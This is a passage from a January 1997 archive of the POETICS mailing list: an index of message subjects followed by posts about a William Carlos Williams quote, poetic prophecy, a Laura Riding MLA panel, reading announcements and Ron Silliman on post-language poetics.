503. DS — Re: Abolition 2000 '97 Conference WWW (fwd)
504. DS — Re: Charles Bernstein's Crime
505. Gabrielle Welford — AAVE (fwd)
506. Jeffrey W. Timmons — Re: oh, alright (clothing)
507. Thomas Bell — Re: quark this

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509. Marina deBellagente laPalma — poem
510. Herb Levy — Re: Elmslie in Seattle
511. Herb Levy — Books & Tunes
512. Tosh — Re: AAVE (fwd)
513. DS — Re: AAVE (fwd)
514. Miekal And — Re: poem
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516. henry — Re: building bridges
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523. Henry Gould — music to clear yr head
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537. Aldon L. Nielsen — Re: Miller or Maya?
538. Pam Brown — Re: AAVE (fwd)
539. Tosh — Re: AAVE (fwd)
540. Franklin Bruno — Re: POETICS Digest - 19 Jan 1997 to 20 Jan 1997
541. steph4848 — Re: Miller or Maya?
542. Mark Weiss — Re: POETICS Dig: Brathwaite/Frost/shapeofthepoem

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545. Pam Brown — Tam Tam the second
546. Tosh — Re: Tam Tam the second
547. Miekal And — shapeofthepoem til may 68
548. Pierre Joris — Re: AAVE (fwd)
549. Pierre Joris — Re: Tam Tam
550. KENT JOHNSON — Re: name of great bookstore
551. Diane Marie Ward — Re: Miller or Maya?
552. Tom Mandel — Masada
553. Pierre Joris — Re: Masada
554. Miekal And — hypermedia apprenticeship @ Dreamtime Village
555. daniel_bouchard — Frost: shave of the poem
556. Douglas Barbour — Re: Brathwaite/Frost/shapeofthepoem etc
557. maria damon — Re: Tam Tam the second
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564. amato — Re: Frost: shave of the poem
565. Christopher Reiner — Toilet Pastures
566. Miekal And — crossmedia beliefware
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569. henry — Re: Frost: shave of the poem
570. David Bromige — Shape/shape/Frost/N England
571. Miekal And — address & hours of great bookstore
572. Miekal And — Taproot?
573. David Bromige — 'TOILET PASTURES"
574. David Bromige — Addresses: Steve Evans/Jennifer Moxley
575. pollet — Backwoods Broadsides backlist
576. David Bromige — Toilet Pastures

577. DS — Re: The Blacks
578. David Bromige — slepign
579. maria damon — Re: shapeofthepoem til may 68
580. maria damon — Re: shapeofthepoem til may 68
581. DS — Re: greener Pastures
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590. Mark Weiss — Re: greener Pastures
591. George Bowering — Re: Shape/shape/Frost/N England
592. George Bowering — Re: Toilet Pastures
593. Tom Beard — Re: shapeofthepoem til may 68
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597. Ken Edwards — crime & punishment
598. Miekal And — Re: CUPichuLAYshun
599. Robert Archambeau — Re: Landscapes, poetry etc.
600. Brigham Taylor — Hernando Houseman
601. Robert Archambeau — Re: Landscapes, poetry etc.
602. Tom Beard — Re: Landscapes, poetry etc.
603. Robert Archambeau — Re: Landscapes, poetry etc.
604. Ron Silliman — Snowy Woods
605. GRAHAM W. FOUST — no address
606. Pierre Joris — Re: Marty Ehrlich
607. Tom Mandel — Marty Ehrlich
608. Mark Prejsnar — Landscapes, poetry etc.
609. Joel Felix — LVNG Supplemental "Book"
610. Charles Bernstein — Re: Marty Ehrlich
611. amato — Re: AWP Convention
612. Brian Carpenter — Re: Toilet Pastures
613. william marsh — Mason Williams
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615. henry gould — Re: Landscapes, poetry etc.
616. Eliza McGrand- CVA Guest — urban and landscapes -- found one! (taylor poem)
617. Mark Weiss — Re: Landscapes, poetry etc.
618. daniel_bouchard — Re: Landscapes, poetry etc.
619. Mark Weiss — (no subject)
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621. Mark Prejsnar — Apples, oranges & form
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624. Miekal And — rural artifice
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626. Jordan Davis — Re: your mail
627. Jordan Davis — suburban practice, urban subject
628. DS — Re: Landscapes, poetry etc.
629. henry gould — Re: Landscapes, poetry etc.
630. Michael Coffey — Apples, oranges & form -Reply

631. Mark Weiss — Re: your mail
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633. Mark Weiss — Re: Apples, oranges & form -Reply
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635. Aldon L. Nielsen — Re: further on a certain A. Philip
636. Laura Moriarty — NEW RELEASE
637. maria damon — Re: further on a certain A. Philip
638. Henry Gould — Re: Apples, oranges & form -Reply
639. maria damon — WINTER READING SERIES: "ALTERNATIVE" VERBAL ARTS!!
640. maria damon — Re: WINTER READING SERIES: "ALTERNATIVE" VERBAL ARTS!!

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641. Franklin Bruno — Re: Pepsi-Cola
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643. Susan Wheeler — Brathwaite/shape
644. henry gould — la citta - correction
645. Michael Boughn — Re: Dorn
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647. Tom Mandel — City 'n 'burbia
648. Tom Mandel — a modest proposal
649. Mark Prejsnar — Re: Apples, oranges & form -Reply
650. Mark Prejsnar — Re: Apples, oranges & form -Reply
651. Douglas Barbour — Re: Urban Songs
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653. David Bromige — Address for Evans & Moxley
654. groberts — urban environments
655. Joe Safdie — Re: urban and landscapes
656. Rachel Blau DuPlessis — Re: address query
657. k.a. hehir — commisions
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659. Charles Alexander — events, tucson

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663. George Bowering — Re: Snowy Woods
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671. Charles Alexander — Re: Calling Babylonians
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677. David Bromige — Kevin Killian's bezazzful writing

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679. David Bromige — oh, alright (clothing)
680. George Bowering — Re: back to bp
681. George Bowering — Re: city in poetry

682. George Bowering — Re: oh, alright (clothing)
683. Miekal And — Re: Calling Babylonians
684. Rachel Loden — Re: Hallmark cards
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686. Douglas Barbour — Re: back to bp
687. David Bromige — Hallmark
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689. Alan Jen Sondheim — Re: Calling Babylonians
690. Aldon L. Nielsen — Re: Hallmark

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692. Ron Silliman — Taking Heart, Giving Spleen
693. Rachel Loden — Re: Taking Heart, Giving Spleen
694. maria damon — Re: Taking Heart, Giving Spleen
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696. Don Cheney — truth in advertising
697. Douglas Messeril — New Sun & Moon Titles
698. Tosh — Re: New Sun & Moon Titles
699. aerialedge — New Objects
700. Eliza McGrand- CVA Guest — Re: commisions
701. acgold01 — Twentieth-Century Lit. Conference
702. Miekal And — Re: 14 perfect lines, jennifer
703. Chris Stroffolino — Re: POETICS Digest - 25 Jan 1997 to Doug Messerli
704. Michael Boughn — HD
705. Rachel Loden — easier _no roses_
706. Alan Jen Sondheim — 14 perfect lines, jennifer
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708. Miekal And — Re: whippet whirly word project
709. Miekal And — Re: whippet whirly word project
710. maria damon — Re: 14 perfect lines, jennifer
711. David Bromige — Rod Smith's review
712. Aldon L. Nielsen — Re: Daimonics
713. Alan Jen Sondheim — Re: 14 perfect lines, jennifer
714. Brigham Taylor — More on the urban poetry thread...
715. shoemakers — Re: More on the urban poetry thread...
716. aerialedge — review of _Some Other Kind of Mission_
717. Jerry Rothenberg — Re: More on the urban poetry thread...
718. Steve Carll — triple crown of poetry
719. k.a. hehir — whippet whirly word project
720. Loss Glazier — urban poetry - mexico
721. k.a. hehir — Re: whippet whirly word project
722. Laura Moriarty — readings (planning snafu)
723. Mark Weiss — Re: More on the urban poetry thread...
724. Mark Weiss — Re: urban poetry - mexico
725. Aldon L. Nielsen — Re: urban poetry - Kansas
726. Thomas Lecky — Re: New Sun & Moon Titles
727. Laura Moriarty — more reading snafus

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728. Joshua N Schuster — Moxley/Brown readings
729. George Bowering — Re: oh, alright (clothing)
730. Bil Brown — Re: Nuyoricans in Kentucky
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732. nuyopoman — Nuyoricans in Kentucky

733. nuyopoman — REVIEW OF _sOME oTHER kiND OF mISSION_
734. Douglas Barbour — Re: Fred Wah's _Diamond Grill_
735. Jerry Rothenberg — san diego readings
736. william marsh — Re: triple crown of poetry
737. Jordan Davis — Re: triple crown of poetry
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739. Mark Weiss — Re: walkways
740. David Dowker — alterran relocation
741. cris cheek — sonic writing

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742. David Bromige — oh, alright (clothing)
743. Daniel Bouchard/College/hmco — a Boston pub
744. Sylvester Pollet — hart crane & charlie mingus
745. Aldon L. Nielsen — Re: hart crane & charlie mingus & sonny rollins
746. Mark Prejsnar — Re: Getting the word out
747. Thomas Bell — integration as hegemony?
748. Charles Alexander — Re: Getting the word out
749. Miekal And — sounding alan
750. Charles Alexander — masque of rhyme
751. Alan Jen Sondheim — Book announcement
752. Gabrielle Welford — Anthology of 19th-c American women poets "WMST-L DIGEST2" (fwd)
753. Mark Weiss — Getting the word out
754. George Bowering — Re: urban poetry - Kansas
755. Steven W. Marks — Re: Getting the word out
756. George Bowering — Re: oh, alright (clothing)
757. George Bowering — Re: hart crane & charlie mingus
758. George Bowering — Re: hart crane & charlie mingus & sonny rollins
759. David Bromige — oh, alright (clothing & timing)

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761. KYLE CONNER/LRC-CAHS — Re: integration as hegemony?
762. Miekal And — cold to warm
763. Miekal And — Re: oh, alright (clothing)
764. robert drake — Re: Getting the word out
765. Douglas Barbour — Re: pastoral perhaps?
766. Aldon L. Nielsen — Re: jazz & amiri
767. Aldon L. Nielsen — Re: integration as hegemony?
768. Michael Boughn — Re: Query: Performance and spirit
769. Charles Alexander — Re: Getting the word out
770. henry gould — bk review (longish)
771. Mark Weiss — Re: Getting the word out
772. Charles Bernstein — THE L=A=N=G=U=A=G=E BOOK (FWRD)
773. Charles Bernstein — FRENCH WOMEN POETS (fwrd)
774. Steven W. Marks — Re: Getting the word out
775. acgold01 — Rutgers Conference
776. Julie Marie Schmid — Re: Query: Performance and spirit
777. Fred Muratori Fred Muratori — Re: THE L=A=N=G=U=A=G=E BOOK (FWRD)
778. Pritchett,Pat — Re: bk review (longish)
779. maria damon — Re: Query: Performance and spirit
780. Aldon L. Nielsen — Re: ||||

1. George Bowering

Re: patr-iarchy/onization

Wed 1 Jan 1997

> *Now for "best*
> *male"? Anyone?*
>
> *Kathrine*
>
> *jean genet, anytime, anywhere, hands down.--md*

aw, what about James Schuyler?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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2. William Slaughter

Re: WCW QUOTE---

Wed 1 Jan 1997

I'm away from my books and working from memory,
but didn't Williams write: "The poem is a capsule
wherein we wrap up our punishable _secrets_."
I thought so.

William Slaughter

_____
[redacted]

On Tue, 31 Dec 1996, main wrote:

> *wcw:*
> *"A poem is a capsule where we wrap our punishable selves."*
>
> *judging judgment, wcw's capsule might look like a moebius strip.*
>
> *dan featherston*

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3. Rachel Loden
Re: patr-iarchy/onization
Wed 1 Jan 1997

Charles Alexander wrote:
>
> At 09:44 PM 12/31/96 -0600, you wrote:
> > Now for "best
> >> male"? Anyone?
> >>
> >> Kathrine
> >
> >jean genet, anytime, anywhere, hands down.--md
>
> Are we speaking "all time" or 20th Century? I'm overwhelmed by the choices.
> Genet for you, but for me, even in France, Mallarme just for that throw of
> the dice & the book as spiritual instrument, or maybe Apollinaire, and even
> Proust I have to go back to every few years. I think I'll just go back to
> being overwhelmed. I don't think anybody wins hands down -- but up, perhaps?

It's got to be up, definitely, for best male--check '96 logs for Tom Mandel on "angle of erection."

Rachel

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4. Ron Silliman
Es-vice president?
Wed 1 Jan 1997

"I loved that scene in which Doc H. and the scary bad guy are in the bar, dissing each other in Latin, and some galoot thinks they are speaking Spanish. (I guess your es-vice president would have thought so, too)." -- George Bowering

If you're refering to Mr. Quayle, he once stated that the reason he had not traveled much to Latin America was because he did not speak Latin.

I am curious about that prefix, tho.

Ron Silliman

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5. pollet
Re: NPF/Sagetrieb needs Ron Johnson Photo
Wed 1 Jan 1997

Our long-awaited Sagetrieb 14.3 (in final proofing) contains a piece by Ronald Johnson (on Bunting/Briggflatts), a review of ARK by William Benton, and along piece by Peter O'Leary "ARK as a Spiritual Phenomenon." We want to find a good recent photo of Johnson for the cover. He sent us one from 1990 which we might be able to use if I can track down the photographer for permission, but we'd like a couple to choose from, and a more recent one if possible. Any volunteers, any leads? Back, Front, phone, pick a channel! Hope you all celebrated St. Sylvester's Day (Dec. 31)! Welcome to 1997. best, Sylvester Pollet

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6. Thomas M. Orange
post-poetry
Wed 1 Jan 1997

i think henry posted a plea last week for responses to ron's questions about how to forge a poetry adequate to this post-ridden (-industrial, -modern, -capitalist, etc) age.

two books i bought myself for xmas are providing interesting food for thought. michael coe's _breaking the maya code_ goes over the developments which led in the past decade to the decipherment of mayan hieroglyphs; and gerard genette's _mimologiques: voyage en cratylie_ (tr. thais morgan) recounts a history of cratylism (plato's character cratylus argues that words and things are not related to one another arbitrarily or through convention and use but directly, naturally, and correctly) as a kind of unthought of western language theory.

postmodernism should be the moratorium of any future isms. so eager to historicize, we've posted ourselves right out of currency, right past contemporanaeity (this is peter osborne's argument in _the politics of time_). at the very least we are not post-anything but pre-something.

we actually are behind and have a lot of catching up to do. personal computers, for example, have become so powerful and sophisticated in ten years (the xt-clone i still use was top shit in 1987) that they're beyond the needs and capacities of the average user, so that now network computers (basically an internet box) might be the answer.

used to seem like we were in a period of baroque excess in need of a bach or ramon fernandez to come along with synthesis, blessed rage for order. or forge ahead with nothing in the napsack but irony and freeplay. no, i think going

back, especially through modernisms, with a needle and thread, stitching together accounts anew, showing different figures in the fabric in different lights. like henry has been saying our take on (post) modernism needs to be supplemented by others (russian etc.)

as for poetry, cheers to charles alexander for championing "un coup de des," which i still think is so unlike anything before or after it. go from yr standard alexandrines or blank verse to "un coup de des," and project forward a comparable revolution, and that's the poetry of the future. in prose, perform a similar projection with finnegans wake. what more can be done after these, well a lot of mucking around for sure. but until we can read beyond linear script...

iconicity! and archive, archive, archive! amass, and let the search engines find the string.

happy new year all,
tom orange

```
 ____________________________________________
|      Rien n'aura eu lieu que le lieu       |
| Nothing will have taken place but the place  |
|               - Mallarme -                 |
~~~
```

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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8. Michael Boughn
Re: WCW QUOTE---
Wed 1 Jan 1997

> *So, when William Carlos Williams writes---*
> *"For if the poem set out to punish the wicked and*
> *reward the virtuous, it had better be on the basis of*
> *fulfilled love rather than unfulfilled" (SE 207)--*
> *do you (dear open question interlocutor) agree?*

Chris, ain't it just a question of USING the poem--of an ordering around your own hard feelings--or not?

You can do whatever you want, but I'd come down with WCW here, such a use makes for pretty uninteresting poems. I once heard a very famous poet, winner of mucho big prizes and dinero at SUNY Barfalo, not of this ilk, but who shall nevertheless remain unnamed, read a LONG poem trashing Philip Larkin, comparing him to a dog etc., all of it apparently having to do with some mano a mano bs boy bizness. Like who cares. Sooner or later the muse'll get you for that, even if the Gugeneheim-McArthur-Nobel folks go all weak in the knees for it.

Mike
[redacted]

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9. wheeler
Re: Query
Wed 1 Jan 1997

On Tue, 31 Dec 1996, maria damon wrote:

> In message <[redacted]> UB Poetics
> discussion group writes:
> > Susan,
> > this may not be exactly what you're looking for, but Lee Edelman wrote
> > an interesting book on Hart Crane's rhetoric called _Transmemberment of
> > Song_ (Stanford UP, 1987. isbn 0804714134). She analyses his work

through
> > the lens of a set of tropes characterized by intentional distortions -
> > links it up to the engineering theme in The Bridge (literally twisting
> > it into shape).
>
> for what it's worth, lee edelman is a male type person. crane is a neologist;--
> "irrefrangible" or some such, don't have my book in front of me --is that what
> yr after susan?--md
>
> Thanks. Edelman's helpful, but what I'm going for are those words
that literal readers assume are just misused -- where even the
associative connection is hard to place. Where a poet licenses a
word seemingly forever, repeating it in a slightly off sense. Like
Brodsky"s "chordate."
-- Susan

Can't recall the name of the major trope....
sheesh...
> > help, anybody? It's a trope of exaggeration, distortion, etc. & while
> > you're onto Crane, Paul Giles's book "Hart Crane: the Contexts of the
> > Bridge" (Cambridge UP, 1986) has an incredible run-through on double
> > meanings & puns in The Bridge.
> >
> > "Cheerios", Henry
>

Susan Wheeler
37 Washington Square West #10A
New York, New York 10011
[redacted]

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10. jdhollo
Re: POETICS Digest - 31 Dec 1996 to 1 Jan 1997
Thu 2 Jan 1997

"Brodsky's"? "chordate"?
??????????????????
!!!

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11. Susan Wheeler
Re: POETICS Digest - 31 Dec 1996 to 1 Jan 1997
Thu 2 Jan 1997

Alright alright alright. In his prose book Watermark and in several of the poems he uses "chordate" a host of times, referring to buildings and atmospheres as well as mammals. Apologies if this was taken as a lousy example.

Susan Wheeler

> *"Brodsky's"? "chordate"?*
> *??????????????????*
> *!!*
> *And a bite of heaven / in ninety-seven*
> *to one & all*
>
> *Anselm Hollo*

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12. daniel_bouchard
Re: WCW QUOTE---
Thu 2 Jan 1997

A "righteous" judge and a vindictive judge (both of which are at once annoying and dangerous). I use the word JUDGE because the action grounded by these two distinctions of love makes all the difference here. Did Williams believe in "tough love?"

I would rather have read "For if the poem set out to CUT THE LAWN and TRIM THE HEDGES, it had better be on the basis of fulfilled love rather than unfulfilled," but Williams must have written these lines on a weekday and not a weekend.

I would argue that Williams makes no bones here about poetry's apocalyptic function. It can read outlandishly today because the market for apocalyptic poetry is so depressed. When the market changes, the assets are redubbed "prophecy."

You can have your wafer, you can eat it too (no teeth please), but then it's gone and whether you will return for more is up to you.

This list will end tomorrow
in a fiery surge.

[redacted]

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13. Jordan Davis
theory surge
Thu 2 Jan 1997

Would Ron Silliman please reiterate his claim to Henry that it's time for a theory of post-language writing?

Jordan

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14. Chris Stroffolino
Re: WCW quote
Thu 2 Jan 1997

Well--is it selves or secrets?
("we have no selves; we tell each other everything"--
carly simon)
And Mike Boughn--thank you for your response. I think we
read the quote differently--I was not suggesting that
how dare WCW disclaim large bitter mean-spirited narrowminded
(sons of tricky dicky?--sorry) poems trashing Larkin or
Ashbery or Silliman or whoever--but was questioning
or uncomfortable with what seemed to be an implication
that one cannot write poetry from the point of view of
unfulfilled love--that such is not valid, that one should
,say, wait until one is 40 and married or something until
one can claim the "stable" authority of being a poet---
I fear such a taboo (though I wouldn't say it's WCW's fault)
seems to have taken hold in many poetry interpretative
communities, or "scenes" or "aesthetics" and that I rather
wish to leave the possibility open that one may indeed
USE one's frustration and unrequital--if that's all one
"has"--to write poems, and explore that subjectivist
gap in which one may punish one's own desire to punish
others (etc. a kind of via negativa) without necessarily
"taxing any private party" (satire--but satire, too, often
gets a bad rap--one thinks of some dude in a powdered
blue wig oh so witty oh so witty and privieleged and
lacking pathos as if the two modes are incompatible
).....chris

↑ Index

15. Michael Boughn
Re: WCW quote
Thu 2 Jan 1997

Yeah, Chris, but in the quote you provided the fullfilled/unfullfilled love part of the proposition is tied to the question of (I don't have the quote here now) the question of using the poem to represent a moralistic world. Hence my response. He seems to be saying, yeah, it's ok, or it can work to represent the world in terms of good and bad if its from an experience of fullfilled love, an act of generosity, if you will. Otherwise it's just more of that old protestant mean streak, self-centered judgmentalism. Love is thus seen as transformative, even in relation to moralizing. I was trying to understand the relation of the two parts of the proposition, which don't seem to make sense to me if taken separately.

Mike
[redacted]

↑ Index

16. henry g
Re: WCW quote
Thu 2 Jan 1997

One often notes in a satirist - just as in a professional comic - a sort of conjunction of opposites - an ability to shock convention combined with its Janus-face - a sort of bedrock conservative trust in the order of things. So the talent to make & perform very bold poetry - to snarl & whimper & scorn & adore - is balanced by its antithesis - Baudelaire, maybe?? - Henry G (responding to Chris's strophes).

↑ Index

17. Herb Levy
Subtextual winter in Seattle
Fri 3 Jan 1997

Although this series has yet to find it's Boswell (you may never learn how we dress or who attends), [redacted] continues.

Here's the rundown for the next few months, curated by Laynie Brown. All readings begin at 7:30 pm on the third Thursday of the month at the Speakeasy Cafe, 2304 2nd Ave in Seattle's Belltown district. That arhythmic knocking sound is the pool players upstairs impatiently waiting their turn.

January 16
Doug Nufer
Susan Clarke

February 20
Tom Malone
Laura Moriarty

March 20
Peter Gizzi
Elizabeth Willis

April 17
Danika Dinsmore
Myung Mi Kim

The Subtext Web site also continues, or at least abides, at:

<http://www.speakeasy.org/subtext/>. Check it out, you'll love it. Or something.

Bests,

Herb Levy
[redacted]

↑ Index

18. **main**
Re: WCW QUOTE---
Fri 3 Jan 1997

---

daniel--
curious: how are you defining apocalyptic versus prophetic poetry, and
how does 'the market' define this?
best,
dan featherston

↑ Index

19. **Chris Stroffolino**
Re: "tough love" WCW (the judge he holds a grudge)
Fri 3 Jan 1997

Yippee, the holidays are over!
I saw CITIZEN RUTH tonight (and recommend it--Ruth's reply to her mother's question: "Just think what would have happened if
i would have had an abortion?" is worth the price alone)
Ruth, Dan Bouchard, rejects "tough love" (or is it "rough love")

at one point....
Well, ONWARD, to Williams---
Open question, when shoplifting at the store (or swimming near the shore) where they sell (or where are anchored)
ethical maxims, do you chose "JUDGE NOT, LEST YE BE
JUDGED"?
Now, let's say they're playing a muzak version of the DIRE
STRAITS song that reminds you that "when you point the
finger at someone because your plans went through, you got
three more fingers pointing back at you"---but you may
not have to hear it (because of the poetry walkman you're
wearing and unheard sounds are sweeter...) and it may not
inform the decision you must make....
Or do you CHOOSE TO JUDGE, choose to choose, choose to go...knowing that
you may most likely be judged in return,(and are too impatient to wait for death)
and maybe choosing to judge harshly because YOU want
to be judged, or want people to ADMIT that they are judging
as if somehow it's deeper, or more intimate than mere
"unconditional love"?
Judgment is often contrasted with perception....
but that distinction is largely linguistic
(unless one does not ever feel like EYES are JUDGING)...
judgment may be allowed to be irrational, provisional....
but it seems to me it is too often taken (mistaken) as
final and binding (because interlocutors are queasy? or
because they don't consider it to be as SEXY as I do?)

"Make it easy on yourself" is another song they play on shore...
"You made it there somehow"(Dylan)
So, Michael---yes, WCW's point is certainly to criticize
the ethical puritan vindictiveness that he feels ignores and
denies the sensuous pleasures of the present and certainly
i would not argue against him here yet I don't know if I can
so easily translate his "fulfilled love" into "generosity" as
you do. It may be what YOU mean, but I don't know if it's
what HE means (of course, what YOU mean is more important
to me anyway right now). For my own part, I would change
the terms to something like "doubt" and "dogma" (even if
this seems to sacrifice "eros" for the time being)---
I.e. "If the poem sets out to punish the wicked or reward

the plants, it had better do so in the basis of DOUBT, in a
spirit of PLAY, improvisation, DESIRE FOR love, truth,
rather than on dogma, certainty, too rigid posturing."
Fulfilled love (if not merely a "notch in a belt") would be
"nice" but if we argue that it's NECESSARY as a PRECONDITION
for judgment (or dialogue), then poetry (or poetics) becomes
subordinated to "life" (an ideal pretending to be the real) and is reduced
to a mimetic advertisement for a self, a ready made, that has no need for
"poetic creation".....And although I
do not want to outrule the value and beauty of such a mode of
poetry, it does seem quite rare and one has to do something in
the meantime, and attempting to write one's way OUT of
"unfulfilled love" (as, say, Dickinson did--sometimes at least) may be as
valid as an activity as writing FROM "fulfilled love",
whatever that is...and one may even make moral (or at least ethical) claims
in the process (and such claims need not be seen as mere trying to "drag you
down in the hole that he's in")
Chris---
(P.S. STILL NO ONE TO REPORT ON THE MLA RIDING PANEL yet?)

↑ Index

20. Jordan Davis
Watch it
Fri 3 Jan 1997

For the record:
Mike Boughn says 'old protestant mean streak, self-centered judgmentalism'
and Chris Stroffolino says 'ethical puritan vindictiveness'.

Watch it,
Jordan

↑ Index

21. daniel_bouchard
Apocalypso
Fri 3 Jan 1997

>> curious: how are you defining apocalyptic versus prophetic poetry, and how does 'the market' define this?<<

I don't want to impress definitions upon poetry through the statements I made yesterday (re: WCW quote). I mentioned poetry's apocalyptic FUNCTION (a function that the reader has to be willing to recognize, and not have forced upon them), not "Apocalyptic" as genre.

A prophet (as defined by my company dictionary) is "a person gifted with profound moral insight and exceptional powers of expression." It is not unusual for poets to possess these characteristics, and for readers to find them reflected in the poets' work.

But remember: prophets ("true prophets") sometimes communicate a message that its recipients have a strong distaste for. This is where the market enters. The "market" is a mood ring on people listening to the message. Deep blue indicates the utterance as off base. Scarlet indicates a stoning. Green means the message will be acceptable in another two generations or so.

[redacted]

↑ Index

22. Brian McHale

Re: POETICS Digest - 31 Dec 1996 to 1 Jan 1997

Fri 3 Jan 1997

Susan Wheeler: Is it the term "catachresis" that you're fishing around for?
Brian

↑ Index

23. Herb Levy

Shaviro reading in Seattle

Fri 3 Jan 1997

Oh, yeah, I didn't add this non-Subtext reading to that list I sent last night, but since there was some talk here about Steve Shaivro's Doom Patrols when it was only available online (& it still is, you find it and the beginnings of his new book book, Stranded in the Jungle at <http://dhalgren.english.washington.edu/~steve/index.html>), I should probably mention that Steve is reading from the newly non-virtual publication (perhaps the last US book by Serpent's Tail) of Dooom Patrols tonight at 7:30 pm at Elliott Bay Books.

Herb Levy
[redacted]

↑ Index

24. Jordan Davis
Rothschild reads at Biblios
Fri 3 Jan 1997

The legendary Dug Rothschild will be reading at Biblios Cafe this Sunday at 5 p.m., and not, as it is alleged in the poetry calendar, with Larry Fagin, either. Since the days are getting longer, and the weather has been kind in New York so far, why not come by and celebrate by listening. Biblios is on the edge of Tribeca, on Church Street between Lispenard and Walker.

Jordan Davis

↑ Index

25. Tara Pauliny
Re: Apocalypso
Fri 3 Jan 1997

> *curious: how are you defining apocalyptic versus prophetic poetry, and how does 'the market' define this?<*

Dan, Laudatory applause for the response. I have a fortune teller fish I use for writing pieces that works within similar marketing confines. Each movement of fish is designed to extract & tell me what my emotional strata is & thereby livest my day accordingly. These are the one word emotions of a miracle fish--whose every prophecy I find pleasurable for even the ones with negative connotations are saturated in some fishes of justifyable commodification, or archetypal loaves of feeding.

Be well
David Baratier

↑ Index

26. Shaunanne Tangney
Re: Apocalypso
Fri 3 Jan 1997

---

i have missed most of this discussion (various reasons) but couldn't help but add what follows to the discussion. i am currently writing a dissertation on apocalypticism and postmodern american fiction. a key point to my work is that in the pomo apocalypticism is all about narrativity. prophets, or prophetic voices, are a very intriguing element in the tactic i've taken. what made me start to think in this direction was reading (for the 1st time) robinson jeffers, some 3 years ago--most especially the poem "Cassandra." i think it has something to add to the discussion at hand, and so i include it below--

best to all in the new year--
shaunanne

CASSANDRA

The mad girl with the staring eyes and long white fingers
Hooked in the stones of the wall,
The storm-wrack hair and the screeching mouth: does it matter, Cassandra,
Whether the people believe
Your bitter fountain? Truly men hate the truth; they'd liefer
Meet a tiger on the road.
Therefore the poets honey their truth with lying; but religion-
Venders and political men
Pour from the barrel, new lies on the old, and are praised for kindly
Wisdom. Poor bitch, be wise.
No: you'll still mumble in a corner a crust of truth, to men
And gods disgusting. --You and I, Cassandra.
--Robinson Jeffers, _The Double Axe_

On Fri, 3 Jan 1997 [redacted] wrote:

> *curious: how are you defining apocalyptic versus prophetic poetry, and how does 'the market' define this?<<*
>
> *I don't want to impress definitions upon poetry through the statements I made yesterday (re: WCW quote). I mentioned poetry's apocalyptic FUNCTION (a function that the reader has to be willing to recognize, and not have forced upon them), not "Apocalyptic" as genre.*
>
> *A prophet (as defined by my company dictionary) is "a person gifted with profound moral insight and exceptional powers of expression." It is not unusual for poets to possess these characteristics, and for readers to find them reflected in the poets' work.*
>
> *But remember: prophets ("true prophets") sometimes communicate a message that its recipients have a strong distaste for. This is where the market enters. The "market" is a mood ring on people listening to the message. Deep blue indicates the utterance as off base. Scarlet indicates a stoning. Green means the message will be acceptable in another two generations or so.*
>
> [redacted]

↑ Index

27. Aldon L. Nielsen
Re: Riding Away with the MLA
Fri 3 Jan 1997

That virus that was cutting through the multitudes at the MLA (perhaps loosed upon us by Jonathan Yardley? did you read his column on that last day?) finally cuaght up with me on the way out of town, and I haven't been able to lift hand to read a book since (or to eat, for that matter), but wanted to post a footnote to the description of the Riding panel which I trust will soon appear here --

First Ridint panel I attended at an MLA differed in one substantial respect from this year's -- Riding herself sent a LENGTHY statement regarding her feelings about such a panel and required of the organizers that they read it to the assembled audience (who, in that day, amounted to about ten of us) -- It was every bit as knotty as any of her earlier writings -- Does anyone know if it's ever been published anywhere????

↑ Index

28. George Bowering
Re: Watch it
Fri 3 Jan 1997

> *For the record:*
> *Mike Boughn says 'old protestant mean streak, self-centered judgmentalism'*
> *and Chris Stroffolino says 'ethical puritan vindictiveness'.*
>
> *Watch it,*
> *Jordan*

Yeah, John the Baptist was a Baptist, and so am I!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

29. Gwyn McVay
Re: upcoming biblio reading
Fri 3 Jan 1997

I love it that the Germans take the idiom a step further and break the person's neck as well--that's really flinging yourself into your work--!

gm

On Sat, 4 Jan 1997, David Bromige wrote:

> *Hals und beinbruch Douglas!*
>
> *db*

↑ Index

30. aerialedge
Re: Riding Away with the MLA
Fri 3 Jan 1997

Notes from the Riding panel:

. . . for what poets do is turn . . .

a hoping cough

idiotic
defiance

extrinsic <> inhering

"vocabularistic promiscuity"

fugis

instinctual
renunciation

Xenos?
fort--
get away

no metalanguage / the death that
gets you into culture

"the ego's cathetic gliding"

How came about it
---
thoughts

"An Anonymous Book"

babies
are
indoctrinated -- language is laziness --
"appearances do not deceive, if
there are enough of them"

"I am interested in generalities that mean something w/out instances"

"poetry is the discharge of pieces of self"

which is not against the wall

Anarchism
is enough

systematizing

the individual unreal

↑ Index

31. Tara Pauliny
Re: Riding Away with the MLA
Sat 4 Jan 1997

Aldon: Considering I'm unsure of which essay was spoken, these are all possibilities:

Anarchism is not enough (book): Laura Riding (Gottschalk)
Massachusetts Review 13: Response to critics
Chelsea 35: Poetry Log Random Choices
Chelsea 52: Judgement of one another

Hope you have a mighty fine library somewhere near you.
Be well,

David Baratier

↑ Index

32. William M. Northcutt
cyber bookstores
Sat 4 Jan 1997

I know this has come up before, but, oops, I wasn't listening. . .

Are there any bookstores on the web which carry a good stock of small press poetry pubs? I've tried the big Amazon, and they have a thumbnail's worth.

Also, I remember at one point, or I think at least, Sun and Moon had a website, but I couldn't find it when I did a search yesterday. Do any of you have a url for it?

Thanks, William

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
email: [redacted]
Tel: 49 921 980612
Fax: 49 921 553641

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33. Ron Silliman
Post-theory language writing?
Sat 4 Jan 1997

Yo, Jordan,

That's not what I wrote, of course.

What we need is a discourse about poetry (call it theory if you will, tho that implies some sense of unity when what's needed actually may be diversity, discussion and even disagreement) as it is TODAY. Which is to say, with a sense of whatever it was that was langpo taken as a (problematic) given, but also incorporating some other very important aspects of the universe, eg

* The state of the world, post-USSR
* The collapse of the left in the US
  (and Europe) as one (of many) consequences of the above
* The collapse of theory
  (or at least the decline into dismal tenure infighting)
* The social function of writing in a world in which capital
  is clearly more powerful than any state
* The role(s) of technology in all of the above
* The role of writing
  (and of language and language use)
  in relation to each of the above

One obvious consequence of the above set of stuff that would need to be taken into consideration is the impact of internationalism--which can be seen in the influence of recent French writing in so many younger American poets (and not

